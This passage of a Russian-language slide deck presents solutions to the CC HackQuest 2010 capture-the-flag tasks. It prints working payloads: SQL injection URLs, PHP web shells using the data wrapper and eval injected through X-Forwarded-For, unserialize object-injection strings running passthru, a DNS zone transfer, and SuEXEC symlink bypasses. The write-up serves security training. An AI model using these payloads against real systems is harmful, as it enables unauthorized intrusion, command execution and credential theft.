  • 14. CC HackQuest 2010: Задание # 2 SQL Injection ( PostgreSQL ) в Select (error based) Классическая последовательность эксплуатации : На выходе – таблица « vsmsusers » /index.php?r=recovery&name=1&email=1&status=1 ;select+cast((select+table_name+from+information_schema.tables+limit+1+offset+0)+as+numeric)-- ... /index.php?r=recovery&name=1&email=1&status=1 ;select+cast((select+table_name+from+information_schema.tables+limit+1+offset+105)+as+numeric)-- … На выходе – имена колонок « login » и « password » в таблице « vsmsusers » /index.php?r=recovery&name=1&email=1&status=1 ;select+cast((select+column_name+from+information_schema.columns+where+table_name=chr(118)||chr(115)||chr(109)||chr(115)||chr(117)||chr(115)||chr(101)||chr(114)||chr(115)+limit+1+offset+1)+as+numeric)-- …
  • 15. CC HackQuest 2010: Задание # 2 SQL Injection ( PostgreSQL ) в Select (error based) Следуя подсказке : Получение данных, восстановление SHA1- хеша ( plain text: 8167) :
  • 16. CC HackQuest 2010: Задание # 2 Обнаружение уязвимости File Including
  • 17. CC HackQuest 2010: Задание # 2 Выполнение команд на сервере с использованием «самого короткого веб - шелла» : /index.php?u=LV89284&p= data:, <?=@`$c`?>&c=ls /index.php?u=LV89284&p= data:, <?=@`$c`?>&c=cat /etc/passwd Как это работает ? Использование stream wrappers ( « data » появился в PHP с версии 5.2.0) short_open_tag и register_globals в состоянии « ON » <?= ?> эквивалентно <? echo ?>; Использование обратных кавычек эквивалентно использованию shell_exec() Дополнительно : http://php.net/manual/en/wrappers.data.php http://www.php.net/manual/en/wrappers.php.php http://ru.php.net/operators.execution http://raz0r.name/releases/mega-reliz-samyj-korotkij-shell/
  • 18. CC HackQuest 2010: Задание # 2 Результат эксплуатации уязвимости LFI
  • 19. CC HackQuest 2010: Задание # 2 Получение ключа возможно после осуществления успешного перебора к сервису удаленного администрирования telnet (могут использоваться THC-Hydra , Medusa , ncrack, etc ). LOGIN: websupervis0r2 PASSWORD: websupervis0r2
  • 20. CC HackQuest 2010: Задание #3 Сложность первого этапа указанного задания заключается в переборе «спрятанных» за Mod_rewrite поступающих параметров в приложение.
  • 21. Журнал Хакер ( http://www.xakep.ru/magazine/xa/138/default.asp ) &quot;Фаззинг сайта, «защищенного» mod_rewrite&quot; , Тимур Юнусов ; http://ptresearch.blogspot.com/2010/09/fuzzing-of-modrewrite-protected-site.html http://www.ptsecurity.ru/download/modrewrite_search.zip CC HackQuest 2010: Задание #3
  • 22. Mod_Rewrite и HTTP 413 « Request Entity Too Large » Ошибка возникает в следствии некоренного значения « Content-length » http://devteev.blogspot.com/2010/09/modrewrite.html CC HackQuest 2010: Задание #3
  • 23. CC HackQuest 2010: Задание #3 Blind SQL Injection ( MySQL 4.0.x ) Логически истинный запрос ( true ) /index.php?pag=1 'or(1)=(1)/* &login=1&password=1 Логически ложный запрос (false) /index.php?pag=1 'or(1)=(2)/* &login=1&password=1
  • 24. CC HackQuest 2010: Задание #3 Blind SQL Injection ( MySQL 4.0.x ) Эксплуатация : /index.php?pag=1 '+or+mid(version(),1,3)='4.0'/* &login=1&password=1 /index.php?pag=1 '+or+mid(login,1,1)='b'/* &login=1&password=1 ... /index.php?pag=1 '+or+mid(password,1,1)='a'/* &login=1&password=1 ...
  • 25. CC HackQuest 2010: Задание #3 Восстановление MD5- хеша Доступ к веб-приложению (переход от « black-box » к « gray-box »)
  • 26. CC HackQuest 2010: Задание #3 Уязвимость HTTP Parameter Pollution (HPP) Содержимое .htaccess: ErrorDocument 404 ./404.html RewriteEngine On RewriteRule ^([0-9]*)\.php ./index.php?pag=$1 [L,QSA] RewriteRule ([0-9]*)/$ ./system.php?id=$1 &access=user [L,QSA]
  • 27. Что такое HTTP Parameter Pollution? OWASP EU09 Luca Carettoni, Stefano diPaola http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf
  • 28. Что уязвимо к атаке HTTP Parameter Pollution Технология / Среда Интерпретация параметров Пример ASP.NET/IIS Склеивание через запятую par1=val1,val2 ASP/IIS Склеивание через запятую par1=val1,val2 PHP/APACHE Последний параметр результирующий par1=val2 PHP/Zeus Последний параметр результирующий par1=val2 JSP, Servlet/Apache Tomcat Первый параметр результирующий par1=val1 JSP,Servlet/Oracle Application Server 10g Первый параметр результирующий par1=val1 JSP,Servlet/Jetty Первый параметр результирующий par1=val1 IBM Lotus Domino Первый параметр результирующий par1=val1 IBM HTTP Server Последний параметр результирующий par1=val2 mod_perl,libapeq2/Apache Первый параметр результирующий par1=val1 Perl CGI/Apache Первый параметр результирующий par1=val1 mod_perl,lib???/Apache Первый параметр результирующий par1=val1 mod_wsgi (Python)/Apache Возвращается массив ARRAY(0x8b9058c) Pythin/Zope Первый параметр результирующий par1=val1 IceWarp Возвращается массив ['val1','val2'] AXIS 2400 Последний параметр результирующий par1=val2 Linksys Wireless-G PTZ Internet Camera Склеивание через запятую par1=val1,val2 Ricoh Aficio 1022 Printer Последний параметр результирующий par1=val2 webcamXP Pro Первый параметр результирующий par1=val1 DBMan Склеивание через две тильды par1=val1~~val2
  • 29. CC HackQuest 2010: Задание #3 Использование уязвимости HTTP Parameter Pollution /1/? access=admin или /system.php?id=1& access=admin
  • 30. CC HackQuest 2010: Задание #3 Выполнение команд на сервере over unserialize() Потенциально уязвимый участок кода ( index.php ) : … echo $pages['adminka']; $sessid = unserialize($_COOKIE['admin_id']); … Уязвимый участок кода ( functions.php ) : … function __destruct() {echo $this->shutdown; if (!empty($this->shutdown)){ $var = $this->shutdown[0]; $arg = $this->shutdown[1]; $var($arg); … Еще почитать : « PHP unserialize() _SESSION and Dynamics » , Владимир Воронцов ( http://oxod.ru/?p=244)
  • 31. CC HackQuest 2010: Задание #3 Выполнение команд на сервере over unserialize() Эксплуатация (cookie[admin_id]): O:8:&quot;Database&quot;:1:{s:8:&quot;shutdown&quot;%3Ba:2:{i:0%3Bs:7:&quot; phpinfo &quot;%3Bi:1%3Bs:2:&quot; -1 &quot;%3B}} O:8:&quot;Database&quot;:1:{s:8:&quot;shutdown&quot;%3Ba:2:{i:0%3Bs:8:&quot; passthru &quot;%3Bi:1%3Bs:8:&quot; ls -la / &quot;%3B}} O:8:&quot;Database&quot;:1:{s:8:&quot;shutdown&quot;%3Ba:2:{i:0%3Bs:8:&quot; passthru &quot;%3Bi:1%3Bs:8:&quot; cat /KEY &quot;%3B}}
  • 32. CC HackQuest 2010: Задание #4 Александр Матросов, http://amatrosov.blogspot.com/
  • 33. CC HackQuest 2010: Задание # 5 Нестандартный язык программирования ( Lua ) Владимир Воронцов, http://oxod.ru/
  • 34. Выход за пределы каталога (path traversal) Эксплуатация : cat file.in | b64decode -o file.out openssl enc -d -aes-256-cbc -in file.out -out file.decrypt -k ' из history' CC HackQuest 2010: Задание # 6
  • 35. Хостинг-сервер Для получения доступа к веб-приложениям требовалось идентифицировать их присутствие. Это было возможно путем переноса обслуживаемой DNS- зоны. dig @192.168.192.10 PTR 10.192.168.192.in-addr.arpa dig @192.168.192.10 cc10.site axfr CC HackQuest 2010: Задание # 7
  • 36. Классическая уязвимость Local File Including Эксплуатируется неклассическим методом (см. «Новая веха в теории инклуда: свежие способы раскрутки local и remote file include», http://www.xakep.ru/post/49508/default.asp ) CC HackQuest 2010: Задание # 7
  • 37. Пример проведения атаки : CC HackQuest 2010: Задание # 7
  • 38. Обход ограничений SuEXEC Уязвимость заключается в возможности переопределить установленные ограничения на каталог веб-сервера ( FollowSymLinks ) Использование уязвимости : echo Options +FollowSymLinks > /usr/local/www/data/vasya/.htaccess ln -s /usr/local/www/data/root/ .htaccess /usr/local/www/data/vasya/ access.txt ln -s /usr/local/www/data/root/ .htpasswd_new /usr/local/www/data/vasya/ passwd.txt http://www.kernelpanik.org/docs/kernelpanik/suexec.en.pdf CC HackQuest 2010: Задание # 7
  • 39. Социальная инженерия Получение исходного кода и адреса уязвимого приложения ; эксплуатация уязвимости «Внедрение операторов SQL » в SQLite с использованием особенностей функции sqlite_escape_string () ; Владимир Воронцов, http://www.xakep.ru/post/53551/default.asp CC HackQuest 2010: Задание #8
  • 40. Для прохождения задания требуется получение исходного кода приложения CC HackQuest 2010: Задание #9
  • 41. Эксплуатация уязвимости : X-Forwarded-For= ';?><?eval($_GET['cmd']);?><?$a=' Результат такого запроса : # cat /usr/local/www/apache22/data/blacklist.php <? include_once('config.php'); $blacklist_ip[0] = ' ';?><?eval($_GET['cmd']);?> <?$a=''; ?> CC HackQuest 2010: Задание #9
  • 42. Получение доступа к используемой конфигурации Cisco Login: cc10Cisco Password: cisco Router> enable 3 Password: Cisco Router#show privilege Current privilege level is 3 Router# show running-config view full CC HackQuest 2010: Задание # 10
  • 43. Подбор содержимого TFTP- сервера http://code.google.com/p/tftptheft/downloads/list CC HackQuest 2010: Задание # 1 1
  • 44. Тонкости Microsoft Active Directory CC HackQuest 2010: Задание # 1 2
  • 45. Тонкости Microsoft Active Directory CC HackQuest 2010: Задание # 1 2
  • 46. IPv6, WiFi, задание с использованием Cross-Site Scripting, стеганография, задания на поиск ключа в PDF и др. Всего игровая инфраструктура содержала 21 ключ . CC HackQuest 2010: Другие задания
  • 47. CC HackQuest 2010: Победители I. RDOT.org (8 заданий) II. Andrey 1800 (4 задания) III. nucro (4 задания) III. neweagle (4 задания)
  • 48. CC HackQuest 2010: Вместо заключения Что дальше ? Выполните практическое занятие Участвуйте online http://www.securitylab.ru/hq2010 И еще немного ссылок : http://cc.org.ru/ http://devteev.blogspot.com/2010/08/chaos-constructions-2010_30.html
  • 49. Спасибо за внимание! Вопросы ? [email_address] http://devteev.blogspot.com/